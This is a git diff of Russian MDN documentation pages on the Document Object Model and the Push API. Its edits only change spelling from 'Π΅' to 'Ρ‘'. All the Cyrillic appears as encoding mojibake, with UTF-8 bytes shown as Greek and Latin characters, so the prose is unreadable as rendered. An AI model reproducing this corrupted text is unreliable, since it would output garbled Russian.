<a class="external" href="http://www.mozilla.org/docs/dom/">ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½Π°Ρ модСль Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Mozilla</a></dt>
<dd>
- Π‘ΠΎΠ»Π΅Π΅ старая докумСнтация ΠΏΠΎ DOM, размСщСнная Π½Π° mozilla.org.</dd>
+ Π‘ΠΎΠ»Π΅Π΅ старая докумСнтация ΠΏΠΎ DOM, размСщённая Π½Π° mozilla.org.</dd>
</dl>
<p><span class="alllinks"><a href="/ru/docs/tag/DOM">ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ всС...</a></span></p>
</td>
diff --git a/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html b/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html
index ba7d7d07d8..7794d4e392 100644
--- a/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html
+++ b/files/ru/conflicting/web/api/document_object_model_5521049528397035462607d58539e0cc/index.html
@@ -13,7 +13,7 @@ original_slug: Об_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎΠΉ_ΠΌΠΎΠ΄Π΅Π»ΠΈ_Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°
<p>ВсС свойства, ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ события, доступныС Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ для манипулирования ΠΈ создания Π²Π΅Π±-страниц ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π² <a href="ru/%d0%a1%d0%bf%d1%80%d0%b0%d0%b2%d0%be%d1%87%d0%bd%d0%b0%d1%8f_%d0%b8%d0%bd%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%86%d0%b8%d1%8f_%d0%bf%d0%be_Gecko_DOM">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹</a> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ document, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт сам Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ table, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт элСмСнты HTML-Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΠΈ Ρ‚.Π΄.). Π­Ρ‚ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ доступны Ρ‡Π΅Ρ€Π΅Π· скриптовыС языки Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
-<p>Π’ основном DOM ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ вмСстС с <a href="ru/JavaScript">JavaScript</a>. Π’ΠΎ Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΏΠΈΡˆΠ΅Ρ‚ΡΡ Π½Π° JavaScript, Π½ΠΎ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ DOM для доступа ΠΊ Π²Π΅Π±-страницС ΠΈ Π΅Π΅ элСмСнтам. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, DOM создавался, Ρ‡Ρ‚ΠΎΠ±Ρ‹ нСзависимо ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… языков программирования имСлась Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ доступа ΠΊ структурному ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Ρ‡Π΅Ρ€Π΅Π·Β ΠΎΠ΄ΠΈΠ½ API. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π° этом сайтС ΠΌΡ‹ заострим Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° JavaScript, Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ DOM ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы для <a class="external" href="http://www.w3.org/DOM/Bindings">любого языка</a>.</p>
+<p>Π’ основном DOM ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ вмСстС с <a href="ru/JavaScript">JavaScript</a>. Π’ΠΎ Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΏΠΈΡˆΠ΅Ρ‚ΡΡ Π½Π° JavaScript, Π½ΠΎ ΠΎΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ DOM для доступа ΠΊ Π²Π΅Π±-страницС ΠΈ Π΅Ρ‘ элСмСнтам. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, DOM создавался, Ρ‡Ρ‚ΠΎΠ±Ρ‹ нСзависимо ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… языков программирования имСлась Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ доступа ΠΊ структурному ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Ρ‡Π΅Ρ€Π΅Π·Β ΠΎΠ΄ΠΈΠ½ API. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π° этом сайтС ΠΌΡ‹ заострим Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° JavaScript, Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ DOM ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы для <a class="external" href="http://www.w3.org/DOM/Bindings">любого языка</a>.</p>
<p><a class="external" href="http://www.w3.org/">World Wide Web Consortium</a> установил <a class="external" href="http://www.w3.org/DOM/">стандарт для DOM</a>, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ W3C DOM. БСйчас, ΠΊΠΎΠ³Π΄Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ этот стандарт, появилась Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΌΠΎΡ‰Π½Ρ‹Π΅ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ прилоТСния.</p>
@@ -21,6 +21,6 @@ original_slug: Об_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎΠΉ_ΠΌΠΎΠ΄Π΅Π»ΠΈ_Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°
<p>"ДинамичСский HTML" (<a href="ru/DHTML">DHTML</a>)Β β€” это Ρ‚Π΅Ρ€ΠΌΠΈΠ½, ΠΏΠΎΠ΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚ ΡΠΎΠ²ΠΎΠΊΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ HTML, CSS ΠΈ скриптов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Π²Π΅Π±-страницы. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Mozilla ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ свой ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ ΠΊΠ°ΠΊ "ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ для Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ", ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° DOM являСтся ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎΠΉ ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Mozilla Π±Ρ‹Π»Π° достойной Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²ΠΎΠΉ Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ.</p>
-<p>Π•Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹ΠΌ Ρ„Π°ΠΊΡ‚ΠΎΠΌ являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс Π² Mozilla (Π° Ρ‚Π°ΠΊΠΆΠ΅ Π² Firefox ΠΈ Thunderbird) построСн Π½Π° XULΒ β€” языкС Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ Mozilla ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ DOM для <a href="ru/Dynamically_modifying_XUL-based_user_interface">измСнСния своСго интСрфСйса</a>.</p>
+<p>Π•Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹ΠΌ Ρ„Π°ΠΊΡ‚ΠΎΠΌ являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс Π² Mozilla (Π° Ρ‚Π°ΠΊΠΆΠ΅ Π² Firefox ΠΈ Thunderbird) построСн Π½Π° XULΒ β€” языкС Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ Mozilla ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ DOM для <a href="ru/Dynamically_modifying_XUL-based_user_interface">измСнСния своСго интСрфСйса</a>.</p>
<p>{{ languages( { "es": "es/Acerca_del_Modelo_de_Objetos_del_Documento", "fr": "fr/\u00c0_propos_du_Document_Object_Model", "ja": "ja/About_the_Document_Object_Model", "ko": "ko/About_the_Document_Object_Model", "pl": "pl/O_modelu_obiektowym_dokumentu", "zh-cn": "cn/\u5173\u4e8e\u6587\u6863\u5bf9\u8c61\u6a21\u578b" } ) }}</p>
diff --git a/files/ru/conflicting/web/api/push_api/index.html b/files/ru/conflicting/web/api/push_api/index.html
index da06239951..64f42942bb 100644
--- a/files/ru/conflicting/web/api/push_api/index.html
+++ b/files/ru/conflicting/web/api/push_api/index.html
@@ -21,7 +21,7 @@ original_slug: Web/API/Push_API/Using_the_Push_API
<p><img alt="" src="https://mdn.mozillademos.org/files/11823/push-api-demo.png" style="border: 1px solid black; display: block; height: 406px; margin: 0px auto; width: 705px;"></p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΄Π΅ΠΌΠΎ, слСдуйтС инструкциям Π½Π° страницС <a href="https://github.com/chrisdavidmills/push-api-demo">push-api-demo README</a>. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ сСрвСрная ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° всС Π΅Ρ‰Π΅ нуТдаСтся Π² нСбольшой Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠ΅ для запуска Π²Β Chrome ΠΈ Π² ΠΎΠ±Ρ‰Π΅ΠΌ запускаСтся Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹ΠΌ ΠΏΡƒΡ‚Π΅ΠΌ. Но аспСкты Push всС Π΅Ρ‰Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒΒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ понятны; ΠΌΡ‹ углубимся Π² это послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ просмотрим Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π² процСссС.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π΄Π΅ΠΌΠΎ, слСдуйтС инструкциям Π½Π° страницС <a href="https://github.com/chrisdavidmills/push-api-demo">push-api-demo README</a>. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ сСрвСрная ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° всС Π΅Ρ‰Ρ‘ нуТдаСтся Π² нСбольшой Π΄ΠΎΡ€Π°Π±ΠΎΡ‚ΠΊΠ΅ для запуска Π²Β Chrome ΠΈ Π² ΠΎΠ±Ρ‰Π΅ΠΌ запускаСтся Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹ΠΌ ΠΏΡƒΡ‚Ρ‘ΠΌ. Но аспСкты Push всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒΒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ понятны; ΠΌΡ‹ углубимся Π² это послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ просмотрим Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π² процСссС.</p>
<h2 id="ΠžΠ±Π·ΠΎΡ€_Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ">ΠžΠ±Π·ΠΎΡ€ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ</h2>
@@ -66,7 +66,7 @@ original_slug: Web/API/Push_API/Using_the_Push_API
<li>ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚ΠΎΡ‚ ΠΌΠΎΠ³ ΠΏΡ€ΠΈΡΡ‹Π»Π°Ρ‚ΡŒ push-сообщСния, ΠΊΠΎΠ³Π΄Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ. Π­Ρ‚ΠΎ Π΄Π΅ΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ {{domxref("XMLHttpRequest")}}, Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>.</li>
<li>Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅Β <a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a> для связи с сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€ΠΎΠΌ, установитС Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Π½Π°Π» связи ({{domxref("MessageChannel.MessageChannel()")}}) ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅Β <code>port2</code> сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€Ρƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ‹Π·ΠΎΠ²Π° {{domxref("Worker.postMessage()")}} для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠ°Π½Π°Π» связи. Π’Ρ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ²Β Π½Π° сообщСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ с сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°.</li>
<li>На сторонС сСрвСра сохранитС ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ ΠΈ всС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ доступны,Β ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ push-сообщСниС Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠΌΡƒ подписчику (ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ простой тСкстовый Ρ„Π°ΠΉΠ», Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ всС что ΡƒΠ³ΠΎΠ΄Π½ΠΎ Π½Π° ваш вкус). Π’ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Π½Π° ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½Π΅ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ скрываСтС эти Π΄Π°Π½Π½Ρ‹Π΅, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈΒ Π½Π΅ смогут ΡƒΠΊΡ€Π°ΡΡ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ ΠΈΒ Ρ€Π°Π·ΠΎΡΠ»Π°Ρ‚ΡŒ спам подписчикам Π² push-сообщСниях.</li>
- <li>Для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ push-сообщСний Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡ‚ΠΎΡΠ»Π°Ρ‚ΡŒΒ HTTP <code>POST</code> ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌΡƒ URL. Запрос Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ <code>TTL</code> Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ врСмя прСбывания сообщСния Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π² сСти. Для добавлСния ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² запросС, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅Β (Ρ‡Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°). Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ <a href="https://github.com/marco-c/web-push">web-push</a> ΠΌΠΎΠ΄ΡƒΠ»ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ управляСт всСй тяТСлой Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ.</li>
+ <li>Для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ push-сообщСний Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡ‚ΠΎΡΠ»Π°Ρ‚ΡŒΒ HTTP <code>POST</code> ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌΡƒ URL. Запрос Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ <code>TTL</code> Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ врСмя прСбывания сообщСния Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π² сСти. Для добавлСния ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² запросС, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘Β (Ρ‡Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°). Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ <a href="https://github.com/marco-c/web-push">web-push</a> ΠΌΠΎΠ΄ΡƒΠ»ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ управляСт всСй тяТёлой Ρ€Π°Π±ΠΎΡ‚ΠΎΠΉ.</li>
<li>ΠŸΠΎΠ²Π΅Ρ€Ρ…Β Π² сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€Π΅ настройтС обработчик событий <code>push</code> для ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² Π½Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ push-сообщСния.
<ol>
<li>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅Β ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ сообщСния ΠΊΠ°Π½Π°Π»Π° ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ основному контСксту (смотри шаг 6), Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ сначала ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ссылку Π½Π°Β <code>port2,</code> ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ контСксту сСрвис Π²ΠΎΡ€ΠΊΠ΅Ρ€Π°Β ({{domxref("MessagePort")}}). Π­Ρ‚ΠΎ доступно Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ Β {{domxref("MessageEvent")}},Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΠΎΠ³ΠΎΒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒΒ <code>onmessageΒ </code>({{domxref("ServiceWorkerGlobalScope.onmessage")}}). ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Π΅Π΅, ΠΎΠ½ находится Π² свойствС <code>ports</code>, индСкс 0. Когда это сдСлано, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΒ ΡΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΒ <code>port1</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("MessagePort.postMessage()")}}.</li>
@@ -77,7 +77,7 @@ original_slug: Web/API/Push_API/Using_the_Push_API
<h2 id="Π‘Π±ΠΎΡ€ΠΊΠ°_Π΄Π΅ΠΌΠΎ">Π‘Π±ΠΎΡ€ΠΊΠ° Π΄Π΅ΠΌΠΎ</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ пройдСмся ΠΏΠΎ ΠΊΠΎΠ΄Ρƒ для Π΄Π΅ΠΌΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ пройдёмся ΠΏΠΎ ΠΊΠΎΠ΄Ρƒ для Π΄Π΅ΠΌΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
<h3 id="HTML_ΠΈ_CSS">HTML ΠΈ CSS</h3>
@@ -113,7 +113,7 @@ nameInput.value = 'Bob';</pre>
<p>Π‘Π½Π°Ρ‡Π°Π»Π°Β Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΄Π²Π΅ Π±ΡƒΠ»Π΅Π²Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, для Ρ‚ΠΎΠ³ΠΎΒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ подписку Π½Π°Β push-сообщСния и подтвСрТдСниС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Π½Π° рассылку ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ.</p>
